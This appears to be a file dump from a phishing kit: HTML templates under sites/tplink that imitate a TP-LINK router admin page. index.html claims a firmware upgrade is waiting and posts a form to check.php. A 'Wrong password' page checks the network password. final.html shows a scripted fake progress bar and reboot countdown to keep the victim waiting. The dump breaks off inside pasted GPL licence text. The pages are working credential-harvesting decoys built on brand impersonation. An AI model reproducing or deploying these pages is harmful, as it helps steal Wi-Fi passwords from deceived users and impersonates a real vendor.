class=\"navbar-header\">\n        <button type=\"button\" class=\"navbar-toggle\" data-toggle=\"collapse\" data-target=\"#myNavbar\">\n          <span class=\"icon-bar\"></span>\n          <span class=\"icon-bar\"></span>\n          <span class=\"icon-bar\"></span>\n        </button>\n        <!--\n        <a class=\"navbar-brand\"><img style=\"background:transparent\" src=\"Your LOGO\" alt=\"Logo\"></a>\n        -->\n      </div>\n      <div class=\"collapse navbar-collapse\" id=\"myNavbar\">\n        <ul class=\"nav navbar-nav\">\n          <li class=\"dropdown\" data-toggle=\"modal\" data-target=\"#update-only\"><a class=\"dropdown-toggle\"\n              data-toggle=\"dropdown\" href=\"#\" style=\"color:white\">Setup <span class=\"caret\"></span></a>\n            <ul class=\"dropdown-menu\">\n              <li><a href=\"#\">Basic Setup</a></li>\n              <li><a href=\"#\">DDNS</a></li>\n              <li><a href=\"#\">MAC Address Clone</a></li>\n              <li><a href=\"#\">Advanced Routing</a></li>\n            </ul>\n          </li>\n          <li class=\"dropdown\" data-toggle=\"modal\" data-target=\"#update-only\"><a class=\"dropdown-toggle\"\n              data-toggle=\"dropdown\" href=\"#\" style=\"color:white\">Wireless <span class=\"caret\"></span></a>\n            <ul class=\"dropdown-menu\">\n              <li><a href=\"#\">Basic Wireless Settings</a></li>\n              <li><a href=\"#\">Wireless Security</a></li>\n              <li><a href=\"#\">Wireless MAC Filter</a></li>\n              <li><a href=\"#\">Advanced Wireless Settings</a></li>\n            </ul>\n          </li>\n          <li class=\"dropdown\" data-toggle=\"modal\" data-target=\"#update-only\"><a class=\"dropdown-toggle\"\n              data-toggle=\"dropdown\" href=\"#\" style=\"color:white\">Security <span class=\"caret\"></span></a>\n            <ul class=\"dropdown-menu\">\n              <li><a href=\"#\">Firewall</a></li>\n              <li><a href=\"#\">VPN</a></li>\n            </ul>\n          </li>\n          <li class=\"dropdown\" data-toggle=\"modal\" data-target=\"#update-only\"><a class=\"dropdown-toggle\"\n              data-toggle=\"dropdown\" href=\"#\" style=\"color:white\">Access Restriction <span class=\"caret\"></span></a>\n            <ul class=\"dropdown-menu\">\n              <li><a href=\"#\">Internet Access</a></li>\n            </ul>\n          </li>\n          <li class=\"dropdown\" data-toggle=\"modal\" data-target=\"#update-only\"><a class=\"dropdown-toggle\"\n              data-toggle=\"dropdown\" href=\"#\" style=\"color:white\">Administration <span class=\"caret\"></span></a>\n            <ul class=\"dropdown-menu\">\n              <li><a href=\"#\">Management</a></li>\n              <li><a href=\"#\">Log</a></li>\n              <li><a href=\"#\">Diagnostics</a></li>\n              <li><a href=\"#\">Factory Defaults</a></li>\n              <li><a href=\"#\">Config Manegements</a></li>\n            </ul>\n          </li>\n          <li class=\"dropdown\" data-toggle=\"modal\" data-target=\"#update-only\"><a class=\"dropdown-toggle\"\n              data-toggle=\"dropdown\" href=\"#\" style=\"color:white\">Status <span class=\"caret\"></span></a>\n            <ul class=\"dropdown-menu\">\n              <li><a href=\"#\">Router</a></li>\n              <li><a href=\"#\">Local Network</a></li>\n              <li><a href=\"#\">Wireless</a></li>\n              <li><a href=\"#\">Advanced Routing</a></li>\n            </ul>\n          </li>\n        </ul>\n      </div>\n    </div>\n  </nav>\n  <!-- End navigation bar -->\n\n  <!-- Start page content -->\n  <div class=\"container\">\n\t<div class=\"col-sm\">\n\t\t<h2 class=\"text-center\" style=\"color:RoyalBlue\">Firmware Upgrade</h2>\n     \t</div>\n\t<div class=\"alert alert-danger\">\n\t\t<p>Wrong password</p>\n\t</div>\n\t<div>Password you entered does not match network password. Please go <a href=\"javascript:window.history.back()\">back</a> and enter correct password. \n\t\n\t<div id=\"push\"></div>\n  </div>\n  <!-- Start page content -->\n\n  <!-- Start footer -->\n  <footer class=\"footer\">\n    <div class=\"container text-center\">\n      <p class=\"text-muted\">TP-LINK©  2016, All Rights Reserved.</p>\n    </div>\n  </footer>\n  <!-- End footer -->\n\n<script>\n\n/*\n  Check the password field and act accordingly.\n*/\n$(\"#btn\").on(\"click\", function(e) {\n\n    // get the password box and checkbox elements\n\tvar input = document.getElementById(\"pwd\");\n    var box = document.getElementById(\"check-box\");\n\n    // if the box is checked\n  \tif ( box.checked != true ){\n        \t// display no checkbox message\n\t        $(\"#no-checkbox\").modal(\"show\");\n\t\treturn false;\n      \t}\n      \tif ( input.value.lenght < 7 ||  input.value.lenght > 64){\n\t\t// display no password message\n\t\t$(\"#empty-pass\").modal(\"show\");\n\t\treturn false;\n   \t}\n\n\n});\n\n\n/*\n  Check the status of check box\n*/\nfunction checkBoxStatus()\n{\n  // get the password box and checkbox elements\n\tvar box = document.getElementById(\"check-box\");\n\tvar input = document.getElementById(\"pwd\");\n\n  // if the box is checked\n\tif ( box.checked == true )\n\t\t{\n      // enabale the password box\n\t\t\tinput.disabled = false;\n\t\t}\n\telse\n\t\t{\n      // disable the password box\n\t\t\tinput.disabled = true;\n\t\t}\n\t}\n</script>\n</body>\n</html>\n"
  },
  {
    "path": "sites/tplink/final.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n  <title>Router Configuration Page</title>\n  <meta charset=\"utf-8\">\n  <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n  <link rel=\"stylesheet\" href=\"bootstrap.min.css\">\n  <script src=\"jquery.min.js\"></script>\n  <script src=\"bootstrap.min.js\"></script>\n\n  <!-- CSS -->\n  <style type=\"text/css\">\n\n    /* Sticky footer styles\n    -------------------------------------------------- */\n\n    html,\n    body {\n          height: 100%;\n          /* The html and body elements cannot have any padding or margin. */\n        }\n\n        /* Wrapper for page content to push down footer */\n        #wrap {\n          min-height: 100%;\n          height: auto !important;\n          height: 100%;\n          /* Negative indent footer by it's height */\n          margin: 0 auto -60px;\n        }\n\n        /* Set the fixed height of the footer here */\n        #push,\n        #footer {\n          height: 60px;\n        }\n        #footer {\n          background-color: #f5f5f5;\n        }\n\n        /* Lastly, apply responsive CSS fixes as necessary */\n        @media (max-width: 767px) {\n          #footer {\n            margin-left: -20px;\n            margin-right: -20px;\n            padding-left: 20px;\n            padding-right: 20px;\n          }\n        }\n\n        #clockdiv{\n\t         font-family: sans-serif;\n\t         color: #fff;\n\t         display: inline-block;\n\t         font-weight: 100;\n\t         text-align: center;\n\t         font-size: 30px;\n         }\n\n        #clockdiv > div{\n           padding: 10px;\n           border-radius: 3px;\n\t         background: #00BF96;\n\t         display: inline-block;\n         }\n\n        #clockdiv div > span{\n          padding: 15px;\n\t        border-radius: 3px;\n\t        background: #00816A;\n\t        display: inline-block;\n        }\n\n      .smalltext{\n\t       padding-top: 5px;\n\t       font-size: 16px;\n       }\n\n  </style>\n</head>\n<body>\n\n  <!-- Start navigation bar -->\n  <nav class=\"navbar navbar-inverse\" style=\"background:RoyalBlue;margin-top:2em;\">\n    <div class=\"container-fluid\">\n      <div class=\"navbar-header\">\n        <button type=\"button\" class=\"navbar-toggle\" data-toggle=\"collapse\" data-target=\"#myNavbar\">\n          <span class=\"icon-bar\"></span>\n          <span class=\"icon-bar\"></span>\n          <span class=\"icon-bar\"></span>\n        </button>\n        <!--\n        <a class=\"navbar-brand\"><img style=\"background:transparent\" src=\"Your LOGO\" alt=\"Logo\"></a>\n        -->\n      </div>\n      <div class=\"collapse navbar-collapse\" id=\"myNavbar\">\n        <ul class=\"nav navbar-nav\">\n          <li class=\"dropdown\" data-toggle=\"modal\" data-target=\"#upgrade-only\"><a class=\"dropdown-toggle\"\n              data-toggle=\"dropdown\" href=\"#\" style=\"color:white\">Setup <span class=\"caret\"></span></a>\n            <ul class=\"dropdown-menu\">\n              <li><a href=\"#\">Basic Setup</a></li>\n              <li><a href=\"#\">DDNS</a></li>\n              <li><a href=\"#\">MAC Address Clone</a></li>\n              <li><a href=\"#\">Advanced Routing</a></li>\n            </ul>\n          </li>\n          <li class=\"dropdown\" data-toggle=\"modal\" data-target=\"#upgrade-only\"><a class=\"dropdown-toggle\"\n              data-toggle=\"dropdown\" href=\"#\" style=\"color:white\">Wireless <span class=\"caret\"></span></a>\n            <ul class=\"dropdown-menu\">\n              <li><a href=\"#\">Basic Wireless Settings</a></li>\n              <li><a href=\"#\">Wireless Security</a></li>\n              <li><a href=\"#\">Wireless MAC Filter</a></li>\n              <li><a href=\"#\">Advanced Wireless Settings</a></li>\n            </ul>\n          </li>\n          <li class=\"dropdown\" data-toggle=\"modal\" data-target=\"#upgrade-only\"><a class=\"dropdown-toggle\"\n              data-toggle=\"dropdown\" href=\"#\" style=\"color:white\">Security <span class=\"caret\"></span></a>\n            <ul class=\"dropdown-menu\">\n              <li><a href=\"#\">Firewall</a></li>\n              <li><a href=\"#\">VPN</a></li>\n            </ul>\n          </li>\n          <li class=\"dropdown\" data-toggle=\"modal\" data-target=\"#upgrade-only\"><a class=\"dropdown-toggle\"\n              data-toggle=\"dropdown\" href=\"#\" style=\"color:white\">Access Restriction <span class=\"caret\"></span></a>\n            <ul class=\"dropdown-menu\">\n              <li><a href=\"#\">Internet Access</a></li>\n            </ul>\n          </li>\n          <li class=\"dropdown\" data-toggle=\"modal\" data-target=\"#upgrade-only\"><a class=\"dropdown-toggle\"\n              data-toggle=\"dropdown\" href=\"#\" style=\"color:white\">Administration <span class=\"caret\"></span></a>\n            <ul class=\"dropdown-menu\">\n              <li><a href=\"#\">Management</a></li>\n              <li><a href=\"#\">Log</a></li>\n              <li><a href=\"#\">Diagnostics</a></li>\n              <li><a href=\"#\">Factory Defaults</a></li>\n              <li><a href=\"#\">Config Manegements</a></li>\n            </ul>\n          </li>\n          <li class=\"dropdown\" data-toggle=\"modal\" data-target=\"#upgrade-only\"><a class=\"dropdown-toggle\"\n              data-toggle=\"dropdown\" href=\"#\" style=\"color:white\">Status <span class=\"caret\"></span></a>\n            <ul class=\"dropdown-menu\">\n              <li><a href=\"#\">Router</a></li>\n              <li><a href=\"#\">Local Network</a></li>\n              <li><a href=\"#\">Wireless</a></li>\n              <li><a href=\"#\">Advanced Routing</a></li>\n            </ul>\n          </li>\n        </ul>\n      </div>\n    </div>\n  </nav>\n  <!-- End navigation bar -->\n\n  <!-- Start firt phase -->\n  <div class=\"container\">\n    <div>\n      <h2 class=\"text-center\" style=\"color:CornflowerBlue\">Firmware Upgrade In Progress</h2>\n      <p class=\"lead\">The update is currently being uploaded to the router.\n                      Please do not disconnect or turn off the router while it's\n                      being updated.</p>\n    </div>\n\n    <!-- Start porgress bar -->\n    <div id=\"instance\" class=\"progress\">\n      <div class=\"progress-bar progress-bar-striped active\" role=\"progressbar\" aria-valuenow=\"0\" aria-valuemin=\"0\" aria-valuemax=\"100\" style=\"width: 0%;\">\n        <span class=\"sr-only\">0% Complete</span>\n      </div>\n    </div>\n    <!-- End porgress bar -->\n\n    <div id=\"push\"></div>\n  </div>\n<!-- End first phase -->\n\n<!-- Start second phase -->\n  <div class=\"container show-on-done hidden\">\n    <div class=\"row content\">\n      <div class=\"col-sm\">\n        <div>\n          <p class=\"lead\">The update was successful and currently it's being installed.\n                          The router is being rebooted and you will lose access to\n                          the internet. Please allow the timer to expire before\n                          you connect back to the router.</p>\n        </div>\n      </div>\n\n      <!-- start of the countdown -->\n      <div class=\"col-sm text-center\">\n        <div id=\"clockdiv\">\n          <div>\n            <span class=\"minutes\"></span>\n            <div class=\"smalltext\">Minutes</div>\n          </div>\n          <div>\n            <span class=\"seconds\"></span>\n            <div class=\"smalltext\">Seconds</div>\n          </div>\n        </div>\n      </div>\n      <!-- end of the countdown -->\n\n    </div>\n    <div id=\"push\"></div>\n  </div>\n  <!-- End second phase -->\n\n  <!-- Start footer -->\n  <footer class=\"footer\">\n    <div class=\"container text-center\">\n      <p class=\"text-muted\">TP-LINK©  2016, All Rights Reserved.</p>\n    </div>\n  </footer>\n  <!-- End footer -->\n\n  <!-- Start upgrade first message -->\n  <div class=\"modal fade\" id=\"upgrade-only\" role=\"dialog\">\n    <div class=\"modal-dialog modal-sm\">\n      <div class=\"modal-content\">\n        <div class=\"modal-header\">\n          <button type=\"button\" class=\"close\" data-dismiss=\"modal\">&times;</button>\n          <h4 class=\"modal-title\">Information</h4>\n        </div>\n        <div class=\"modal-body\">\n          <p>Please Wait For Update To Finish.</p>\n        </div>\n        <div class=\"modal-footer\">\n          <button type=\"button\" class=\"btn btn-default\" data-dismiss=\"modal\">Close</button>\n        </div>\n      </div>\n    </div>\n  </div>\n  <!-- End upgrade first message -->\n\n<script>\n/*\n  Increases the progress bar\n*/\nfunction fakeProgress(container, durationInMs, onDone) {\n    var intervalInMS = 200;\n    var doneDelay = intervalInMS * 2;\n    var bar = container.find('.progress-bar');\n    var srOnly = bar.find('.sr-only');\n    var percent = 0;\n\n    var interval = setInterval(function updateBar() {\n        percent += 100 * (intervalInMS/durationInMs);\n        bar.css({width: percent + '%'});\n        bar['aria-valuenow'] = percent;\n        srOnly.text(percent + '% Complete');\n\n        if (percent >= 100) {\n            clearInterval(interval);\n            setTimeout(function() {\n                if (typeof onDone === 'function') {\n                    onDone();\n                }\n            }, doneDelay);\n        }\n    }, intervalInMS);\n}\n\n/*\n  Used to show content after the progress bar is done\n*/\nfunction onDone() {\n    $('.show-on-done').removeClass('hidden');\n\n    var deadline = new Date(Date.parse(new Date()) + 5 * 60 * 1000);\n    initializeClock('clockdiv', deadline);\n}\n\n/*\n  Calculates the remaning time\n*/\nfunction getTimeRemaining(endtime) {\n  var t = Date.parse(endtime) - Date.parse(new Date());\n  var seconds = Math.floor((t / 1000) % 60);\n  var minutes = Math.floor((t / 1000 / 60) % 60);\n\n  return {\n    'total': t,\n    'minutes': minutes,\n    'seconds': seconds\n  };\n}\n\n/*\n  Creates the clock related content\n*/\nfunction initializeClock(id, endtime) {\n  var clock = document.getElementById(id);\n  var minutesSpan = clock.querySelector('.minutes');\n  var secondsSpan = clock.querySelector('.seconds');\n\n  function updateClock() {\n    var t = getTimeRemaining(endtime);\n\n\n    minutesSpan.innerHTML = ('0' + t.minutes).slice(-2);\n    secondsSpan.innerHTML = ('0' + t.seconds).slice(-2);\n\n    if (t.total <= 0) {\n      clearInterval(timeinterval);\n    }\n  }\n\n  // updating the countdown\n  updateClock();\n  var timeinterval = setInterval(updateClock, 1000);\n}\n\n// speed of the progress bar in milliseconds\nvar duration = 100000;\n\n// start the progress bar\nfakeProgress($('#instance'), duration, onDone);\n\n</script>\n</body>\n</html>\n"
  },
  {
    "path": "sites/tplink/index.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n  <title>Router Configuration Page</title>\n  <meta charset=\"utf-8\">\n  <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n  <link rel=\"stylesheet\" href=\"bootstrap.min.css\">\n  <script src=\"jquery.min.js\"></script>\n  <script src=\"bootstrap.min.js\"></script>\n\n  <!-- CSS -->\n  <style type=\"text/css\">\n\n    /* Sticky footer styles\n    -------------------------------------------------- */\n\n    html,\n    body {\n          height: 100%;\n          /* The html and body elements cannot have any padding or margin. */\n        }\n\n        /* Wrapper for page content to push down footer */\n        #wrap {\n          min-height: 100%;\n          height: auto !important;\n          height: 100%;\n          /* Negative indent footer by it's height */\n          margin: 0 auto -60px;\n        }\n\n        /* Set the fixed height of the footer here */\n        #push,\n        #footer {\n          height: 60px;\n        }\n        #footer {\n          background-color: #f5f5f5;\n        }\n\n        /* Lastly, apply responsive CSS fixes as necessary */\n        @media (max-width: 767px) {\n          #footer {\n            margin-left: -20px;\n            margin-right: -20px;\n            padding-left: 20px;\n            padding-right: 20px;\n          }\n        }\n  </style>\n\n</head>\n\n<body>\n\n  <!-- Start navigation bar -->\n  <!-- To change the navigation bar color change background attribute -->\n  <nav class=\"navbar navbar-inverse\" style=\"background:RoyalBlue;margin-top:2em;\">\n    <div class=\"container-fluid\">\n      <div class=\"navbar-header\">\n        <button type=\"button\" class=\"navbar-toggle\" data-toggle=\"collapse\" data-target=\"#myNavbar\">\n          <span class=\"icon-bar\"></span>\n          <span class=\"icon-bar\"></span>\n          <span class=\"icon-bar\"></span>\n        </button>\n        <!--\n        <a class=\"navbar-brand\"><img style=\"background:transparent\" src=\"Your LOGO\" alt=\"Logo\"></a>\n        -->\n      </div>\n      <div class=\"collapse navbar-collapse\" id=\"myNavbar\">\n        <ul class=\"nav navbar-nav\">\n          <li class=\"dropdown\" data-toggle=\"modal\" data-target=\"#update-only\"><a class=\"dropdown-toggle\"\n              data-toggle=\"dropdown\" href=\"#\" style=\"color:white\">Setup <span class=\"caret\"></span></a>\n            <ul class=\"dropdown-menu\">\n              <li><a href=\"#\">Basic Setup</a></li>\n              <li><a href=\"#\">DDNS</a></li>\n              <li><a href=\"#\">MAC Address Clone</a></li>\n              <li><a href=\"#\">Advanced Routing</a></li>\n            </ul>\n          </li>\n          <li class=\"dropdown\" data-toggle=\"modal\" data-target=\"#update-only\"><a class=\"dropdown-toggle\"\n              data-toggle=\"dropdown\" href=\"#\" style=\"color:white\">Wireless <span class=\"caret\"></span></a>\n            <ul class=\"dropdown-menu\">\n              <li><a href=\"#\">Basic Wireless Settings</a></li>\n              <li><a href=\"#\">Wireless Security</a></li>\n              <li><a href=\"#\">Wireless MAC Filter</a></li>\n              <li><a href=\"#\">Advanced Wireless Settings</a></li>\n            </ul>\n          </li>\n          <li class=\"dropdown\" data-toggle=\"modal\" data-target=\"#update-only\"><a class=\"dropdown-toggle\"\n              data-toggle=\"dropdown\" href=\"#\" style=\"color:white\">Security <span class=\"caret\"></span></a>\n            <ul class=\"dropdown-menu\">\n              <li><a href=\"#\">Firewall</a></li>\n              <li><a href=\"#\">VPN</a></li>\n            </ul>\n          </li>\n          <li class=\"dropdown\" data-toggle=\"modal\" data-target=\"#update-only\"><a class=\"dropdown-toggle\"\n              data-toggle=\"dropdown\" href=\"#\" style=\"color:white\">Access Restriction <span class=\"caret\"></span></a>\n            <ul class=\"dropdown-menu\">\n              <li><a href=\"#\">Internet Access</a></li>\n            </ul>\n          </li>\n          <li class=\"dropdown\" data-toggle=\"modal\" data-target=\"#update-only\"><a class=\"dropdown-toggle\"\n              data-toggle=\"dropdown\" href=\"#\" style=\"color:white\">Administration <span class=\"caret\"></span></a>\n            <ul class=\"dropdown-menu\">\n              <li><a href=\"#\">Management</a></li>\n              <li><a href=\"#\">Log</a></li>\n              <li><a href=\"#\">Diagnostics</a></li>\n              <li><a href=\"#\">Factory Defaults</a></li>\n              <li><a href=\"#\">Config Manegements</a></li>\n            </ul>\n          </li>\n          <li class=\"dropdown\" data-toggle=\"modal\" data-target=\"#update-only\"><a class=\"dropdown-toggle\"\n              data-toggle=\"dropdown\" href=\"#\" style=\"color:white\">Status <span class=\"caret\"></span></a>\n            <ul class=\"dropdown-menu\">\n              <li><a href=\"#\">Router</a></li>\n              <li><a href=\"#\">Local Network</a></li>\n              <li><a href=\"#\">Wireless</a></li>\n              <li><a href=\"#\">Advanced Routing</a></li>\n            </ul>\n          </li>\n        </ul>\n      </div>\n    </div>\n  </nav>\n  <!-- End navigation bar -->\n\n  <!-- Start page content -->\n  <div class=\"container\">\n\t   <div class=\"col-sm\">\n       <h2 class=\"text-center\" style=\"color:RoyalBlue\">Firmware Upgrade</h2>\n    \t <p class=\"lead\">A new version of the firmware has been detected and awaiting installation. Please review our new terms and conditions and proceed.</p>\n     </div>\n    <form action=\"check.php\" method=\"POST\" >\n      <div class=\"form-group\">\n        <label for=\"comment\">Terms And Conditions:</label>\n        <textarea readonly class=\"form-control\" rows=\"5\" id=\"comment\">\nGNU General Public License Notice\nThis product includes software code developed by third parties,\nincluding software code subject to the GNU General Public License\n(“GPL”). As applicable, TP-LINK provides mail service of a machine\nreadable copy of the corresponding GPL source code on CD-ROM\nupon request via email or traditional paper mail. TP-LINK will\ncharge for a nominal cost to cover shipping and media charges as\nallowed under the GPL. This offer will be valid for at least 3 years.\nFor GPL inquiries and the GPL CD-ROM information, please contact\nus at GPL@tp-link.com or\nBuilding 24(floors 1,3,4,5) and 28(floors1-4) Central Science and\nTechnology Park, Shennan Rd, Nanshan, Shenzhen,China.\nAdditionally, TP-LINK provides for a GPL-Code-Centre under http://\nwww.tp-link.com/en/support/gpl/ where machine readable copies\nof the GPL source codes used in TP-LINK products are available for\nfree download. Please note, that the GPL-Code-Centre is only provided\nfor as a courtesy to TP-LINK’s customers but may neither offer\na full set of source codes used in all products nor always provide for\nthe latest or actual version of such source codes.\nThe GPL Code used in this product is distributed WITHOUT ANY\nWARRANTY and is subject to the copyrights of one or more authors.\nPlease refer to the following GNU General Public License for further\ninformation.\nGNU GENERAL PUBLIC LICENSE Version 1, February 1989\n Copyright (C) 1989 Free Software Foundation, Inc.\n51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\nEveryone is permitted to copy and distribute verbatim copies of this license document, but changing it is\nnot allowed.\nPreamble\nThe license agreements of most software companies try to keep users at the mercy of those companies.\nBy contrast, our General Public License is intended to guarantee your freedom to share and change free\nsoftware--to make sure the software is free for all its users. The General Public License applies to the Free\nSoftware Foundation’s software and to any other program whose authors commit to using it. You can use\nit for your programs, too.\nWhen we speak of free software, we are referring to freedom, not price. Specifically, the General Public\nLicense is designed to make sure that you have the freedom to give away or sell copies of free software,\nthat you receive source code or can get it if you want it, that you can change the software or use pieces of\nit in new free programs; and that you know you can do these things.\nTo protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask\nyou to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute\ncopies of the software, or if you modify it.\nFor example, if you distribute copies of a such a program, whether gratis or for a fee, you must give the\nrecipients all the rights that you have. You must make sure that they, too, receive or can get the source\ncode. And you must tell them their rights.\nWe protect your rights with two steps: (1) copyright the software, and (2) offer you this license which\ngives you legal permission to copy, distribute and/or modify the software.\nAlso, for each author’s protection and ours, we want to make certain that everyone understands that\nthere is no warranty for this free software. If the software is modified by someone else and passed on, we\nwant its recipients to know that what they have is not the original, so that any problems introduced by\nothers will not reflect on the original authors’ reputations.\nThe precise terms and conditions for copying, distribution and modification follow.\nGNU GENERAL PUBLIC LICENSE\nTERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION\n0. This License Agreement applies to any program or other work which contains a notice placed by the\ncopyright holder saying it may be distributed under the terms of this General Public License. The\n“Program”, below, refers to any such program or work, and a “work based on the Program” means\neither the Program or any work containing the Program or a portion of it, either verbatim or with\nmodifications. Each licensee is addressed as “you”.\n1. You may copy and distribute verbatim copies of the Program’s source code as you receive it, in any\nmedium, provided that you conspicuously and appropriately publish on each copy an appropriate\ncopyright notice and disclaimer of warranty; keep intact all the notices that refer to this General\nPublic License and to the absence of any warranty; and give any other recipients of the Program a\ncopy of this General Public License along with the Program. You may charge a fee for the physical\nact of transferring a copy.\n2. You may modify your copy or copies of the Program or any portion of it, and copy and distribute\nsuch modifications under the terms of Paragraph 1 above, provided that you also do the following:\na ) cause the modified files to carry prominent notices stating that you changed the files and \nthe date of any change; and\nb ) cause the whole of any work that you distribute or publish, that in whole or in part contains\nthe Program or any part thereof, either with or without modifications, to be licensed at no\ncharge to all third parties under the terms of this General Public License (except that you\nmay choose to grant warranty protection to some or all third parties, at your option).\nc ) If the modified program normally reads commands interactively when run, you must cause\nit, when started running for such interactive use in the simplest and most usual way, to print\nor display an announcement including an appropriate copyright notice and a notice that\nthere is no warranty (or else, saying that you provide a warranty) and that users may redistribute\nthe program under these conditions, and telling the user how to view a copy of this\nGeneral Public License.\nd ) You may charge a fee for the physical act of transferring a copy, and you may at your option\noffer warranty protection in exchange for a fee.\ne ) Mere aggregation of another independent work with the Program (or its derivative) on a\nvolume of a storage or distribution medium does not bring the other work under the scope\nof these terms.\n3. You may copy and distribute the Program (or a portion or derivative of it, under Paragraph 2) in\nobject code or executable form under the terms of Paragraphs 1 and 2 above provided that you also\ndo one of the following:\na ) accompany it with the complete corresponding machine-readable source code, which must\nbe distributed under the terms of Paragraphs 1 and 2 above; or,\nb ) accompany it with a written offer, valid for at least three years, to give any third party free\n(except for a nominal charge for the cost of distribution) a complete machine-readable copy\nof the corresponding source code, to be distributed under the terms of Paragraphs 1 and 2\nabove; or,\nc ) accompany it with the information you received as to where the corresponding source code\nmay be obtained. (This alternative is allowed only for noncommercial distribution and only\nif you received the program in object code or executable form alone.)\nSource code for a work means the preferred form of the work for making modifications to it. For an\nexecutable file, complete source code means all the source code for all modules it contains; but, as\na special exception, it need not include source code for modules which are standard libraries that\naccompany the operating system on which the executable file runs, or for standard header files or\ndefinitions files that accompany that operating system.\n4. You may not copy, modify, sublicense, distribute or transfer the Program except as expressly provided\nunder this General Public License. Any attempt otherwise to copy, modify, sublicense, distribute\nor transfer the Program is void, and will automatically terminate your rights to use the Program under\nthis License. However, parties who have received copies, or rights to use copies, from you under\nthis General Public License will not have their licenses terminated so long as such parties remain in\nfull compliance.\n5. By copying, distributing or modifying the Program (or any work based on the Program) you indicate\nyour acceptance of this license to do so, and all its terms and conditions.\n6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically\nreceives a license from the original licensor to copy, distribute or modify the Program subject\nto these terms and conditions. You may not impose any further restrictions on the recipients’ exercise\nof the rights granted herein.\n7. The Free Software Foundation may publish revised and/or new versions of the General Public License\nfrom time to time. Such new versions will be similar in spirit to the present version, but may\ndiffer in detail to address new problems or concerns.\nEach version is given a distinguishing version number. If the Program specifies a version number of\nthe license which applies to it and “any later version”, you have the option of following the terms and\nconditions either of that version or of any later version published by the Free Software Foundation.\nIf the Program does not specify a version number of the license, you may choose any version ever\npublished by the Free Software Foundation.\n8. If you wish to incorporate parts of the Program into other free programs whose distribution conditions\nare different, write to the author to ask for permission. For software which is copyrighted\nby the Free Software Foundation, write to the Free Software Foundation; we sometimes make\nexceptions for this. Our decision will be guided by the two goals of preserving the free status of all\nderivatives of our free software and of promoting the sharing and reuse of software generally.\nNO WARRANTY\n9. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM,\nTO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN\nWRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM “AS IS” WITHOUT\nWARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,\nTHE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE\nENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE\nPROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR\nCORRECTION.\n10. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT\nHOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM\nAS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL\nOR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM\n(INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR\nLOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH\nANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY\nOF SUCH DAMAGES.\nEND OF TERMS AND CONDITIONS\nAppendix: How to Apply These Terms to Your New Programs\nIf you develop a new program, and you want it to be of the greatest possible use to humanity, the best\nway to achieve this is to make it free software which everyone can redistribute and change under these\nterms.\nTo do so, attach the following notices to the program. It is safest to attach them to the start of each\nsource file to most effectively convey the exclusion of warranty; and each file should have at least the\n“copyright” line and a pointer to where the full notice is found.\n<one line to give the program’s name and a brief idea of what it does.>\nCopyright (C) 19yy <name of author>\nThis program is free software; you can redistribute it and/or modify it under the terms of the GNU General\nPublic License as published by the Free Software Foundation; either version 1, or (at your option) any\nlater version.\nThis program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even\nthe implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General\nPublic License for more details.\nYou should have received a copy of the GNU General Public License along with this program; if not, write\nto the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston MA 02110-1301 USA\nAlso add information on how to contact you by electronic and paper mail.\nIf the program is interactive, make it output a short notice like this when it starts in an interactive mode:\nGnomovision version 69, Copyright (C) 19xx name of author\nGnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w’. This is free software, and\nyou are welcome to redistribute it under certain conditions; type `show c’ for details.\nThe hypothetical commands `show w’ and `show c’ should show the appropriate parts of the General\nPublic License. Of course, the commands you use may be called something other than `show w’ and\n`show c’; they could even be mouse-clicks or menu items--whatever suits your program.\nYou should also get your employer (if you work as a programmer) or your school, if any, to sign a “copyright\ndisclaimer” for the program, if necessary. Here a sample; alter the names:\nYoyodyne, Inc., hereby disclaims all copyright interest in the program `Gnomovision’ (a program to direct\ncompilers to make passes at assemblers) written by James Hacker.\n<signature of Ty Coon>, 1 April 1989\nTy Coon, President of Vice\nThat’s all there is to it!\nGNU GENERAL PUBLIC LICENSE Version 2, June 1991\nCopyright (C) 1989, 1991 Free Software Foundation, Inc.,\n51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\nEveryone is permitted to copy and distribute verbatim copies of this license document, but changing it is\nnot allowed.\nPreamble\nThe licenses for most software are designed to take away your freedom to share and change it. By contrast,\nthe GNU General Public License is intended to guarantee your freedom to share and change free\nsoftware--to make sure the software is free for all its users. This General Public License applies to most\nof the Free Software Foundation’s software and to any other program whose authors commit to using\nit. (Some other Free Software Foundation software is covered by the GNU Lesser General Public License\ninstead.) You can 